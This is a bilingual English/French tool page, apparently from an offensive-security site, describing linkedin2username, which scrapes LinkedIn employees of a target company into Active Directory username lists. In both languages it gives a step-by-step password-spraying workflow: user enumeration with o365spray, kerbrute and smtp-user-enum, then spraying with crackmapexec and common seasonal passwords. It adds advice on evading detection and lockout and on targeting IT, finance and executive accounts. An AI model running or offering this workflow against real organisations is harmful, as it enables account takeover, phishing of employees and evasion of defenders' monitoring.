← retour aux outils back to tools

# linkedin2username

Génère des listes de noms d'utilisateur à partir des employés d'une entreprise sur LinkedIn. Utile pour le password spraying ciblé et le phishing : crée des noms d'utilisateur selon les conventions de nommage AD courantes. Generates username lists from LinkedIn company employees. Useful for targeted password spraying and phishing — creates usernames in common AD naming conventions.

↗ https://github.com/initstring/linkedin2username

## Overview

linkedin2username scrapes LinkedIn for employees at a target company and generates username lists in common Active Directory naming formats (firstname.lastname, f.lastname, flastname, etc.). The output is directly usable for password spraying, phishing target lists, or enumerating valid AD accounts.

## Installation

    git clone https://github.com/initstring/linkedin2username
    cd linkedin2username
    pip3 install -r requirements.txt

## Basic Usage

Requires LinkedIn account credentials

    python3 linkedin2username.py -u your@email.com -c "Target Company"

Specify output formats

    python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100

Limit results to first N employees

    python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50

Add a domain suffix to usernames

    python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com

## Username Formats Generated

    # linkedin2username outputs multiple naming conventions:
    # Given: John Smith

    firstname.lastname    → john.smith
    f.lastname            → j.smith
    flastname             → jsmith
    firstnamelastname     → johnsmith
    lastname.firstname    → smith.john
    firstname             → john
    firstname_lastname    → john_smith

    # With domain suffix (-d):
    john.smith@targetcorp.com
    j.smith@targetcorp.com

## Password Spraying Workflow

Step 1: Collect usernames

    python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt

Step 2: Test if usernames exist (enumerate valid ones) Via OWA (Outlook Web Access):

    o365spray --validate --userfile users.txt --domain acme.com

Via Kerbrute (AD):

    kerbrute userenum --domain acme.com -dc DC01 users.txt

    # Step 3: Password spray (be careful of lockout!)
    # With just common passwords:
    crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
    crackmapexec smb DC01 -u users.txt -p 'Company@2024'

Against Office 365:

    o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com

## Avoiding Detection

    # LinkedIn rate-limits scraping
    # Add delays, don't scrape entire company at once
    # Use separate LinkedIn account (throwaway)

    # During spray:
    # Check lockout threshold first (default: 5-10 failed attempts)
    # Use crackmapexec --continue-on-success
    # Spray once per day maximum (most policies reset after 30 min - 1 hour)

## Verifying Usernames

Verify via SMTP user enumeration

    smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com

    # Via OWA timing-based enumeration
    # o365spray validates without triggering lockout

Via Kerbrute (AS-REP check, no auth needed)

    kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt

## Tips

- Focus on specific departments (IT, Security, Finance) for higher-privilege accounts
- Try multiple username formats — AD naming conventions vary by organization
- CEO/Executive accounts often have their name as username (john.doe@company.com)
- Combine with cewl company website output for custom password lists

Help / Man page

    linkedin2username.py [options]

    -u EMAIL      Your LinkedIn login email
    -p PASS       Your LinkedIn password (or prompted)
    -c COMPANY    Target company name (as shown on LinkedIn)
    -n COUNT      Max employees to scrape
    -d DOMAIN     Email domain to append (e.g., company.com)
    -s            Sleep delay between requests (default: 2)
    -v            Verbose output

## Vue d’ensemble

linkedin2username scrape LinkedIn pour trouver les employés d’une entreprise cible et génère des listes de noms d’utilisateur selon les formats de nommage Active Directory courants (firstname.lastname, f.lastname, flastname, etc.). Le résultat est directement utilisable pour le password spraying, les listes de cibles de phishing, ou l’énumération de comptes AD valides.

## Installation

    git clone https://github.com/initstring/linkedin2username
    cd linkedin2username
    pip3 install -r requirements.txt

## Utilisation de base

    # Nécessite des identifiants de compte LinkedIn
    python3 linkedin2username.py -u your@email.com -c "Target Company"

    # Spécifier les formats de sortie
    python3 linkedin2username.py -u your@email.com -c "Target Company" -n 100

    # Limiter les résultats aux N premiers employés
    python3 linkedin2username.py -u your@email.com -c "Target Company" -n 50

    # Ajouter un suffixe de domaine aux noms d'utilisateur
    python3 linkedin2username.py -u your@email.com -c "Target Company" -d targetcorp.com

## Formats de nom d’utilisateur générés

    # linkedin2username génère plusieurs conventions de nommage :
    # Exemple : John Smith

    firstname.lastname    → john.smith
    f.lastname            → j.smith
    flastname             → jsmith
    firstnamelastname     → johnsmith
    lastname.firstname    → smith.john
    firstname             → john
    firstname_lastname    → john_smith

    # Avec suffixe de domaine (-d) :
    john.smith@targetcorp.com
    j.smith@targetcorp.com

## Workflow de password spraying

    # Étape 1 : collecter les noms d'utilisateur
    python3 linkedin2username.py -u me@email.com -c "ACME Corp" -d acme.com > users.txt

    # Étape 2 : tester si les noms d'utilisateur existent (énumérer les valides)
    # Via OWA (Outlook Web Access) :
    o365spray --validate --userfile users.txt --domain acme.com

    # Via Kerbrute (AD) :
    kerbrute userenum --domain acme.com -dc DC01 users.txt

    # Étape 3 : password spray (attention au lockout !)
    # Avec juste des mots de passe courants :
    crackmapexec smb DC01 -u users.txt -p 'Spring2024!'
    crackmapexec smb DC01 -u users.txt -p 'Company@2024'

    # Contre Office 365 :
    o365spray --spray --userfile valid_users.txt --passfile passwords.txt --domain acme.com

## Éviter la détection

    # LinkedIn limite le débit du scraping
    # Ajouter des délais, ne pas scraper toute l'entreprise d'un coup
    # Utiliser un compte LinkedIn séparé (jetable)

    # Pendant le spray :
    # Vérifier d'abord le seuil de lockout (par défaut : 5 à 10 tentatives échouées)
    # Utiliser crackmapexec --continue-on-success
    # Sprayer une fois par jour maximum (la plupart des politiques se réinitialisent après 30 min à 1 heure)

## Vérification des noms d’utilisateur

    # Vérifier via l'énumération d'utilisateurs SMTP
    smtp-user-enum -M VRFY -U users.txt -t mail.targetcorp.com

    # Via l'énumération temporelle OWA
    # o365spray valide sans déclencher de lockout

    # Via Kerbrute (vérification AS-REP, pas d'authentification nécessaire)
    kerbrute userenum -d acme.com --dc 10.10.10.1 users.txt

## Conseils

- Se concentrer sur des départements spécifiques (IT, sécurité, finance) pour des comptes à privilèges plus élevés
- Essayer plusieurs formats de nom d’utilisateur : les conventions de nommage AD varient selon les organisations
- Les comptes CEO/exécutifs ont souvent leur nom complet comme identifiant (john.doe@company.com)
- Combiner avec la sortie de cewl sur le site web de l’entreprise pour des listes de mots de passe personnalisées

Aide / Page de manuel

    linkedin2username.py [options]

    -u EMAIL      Your LinkedIn login email
    -p PASS       Your LinkedIn password (or prompted)
    -c COMPANY    Target company name (as shown on LinkedIn)
    -n COUNT      Max employees to scrape
    -d DOMAIN     Email domain to append (e.g., company.com)
    -s            Sleep delay between requests (default: 2)
    -v            Verbose output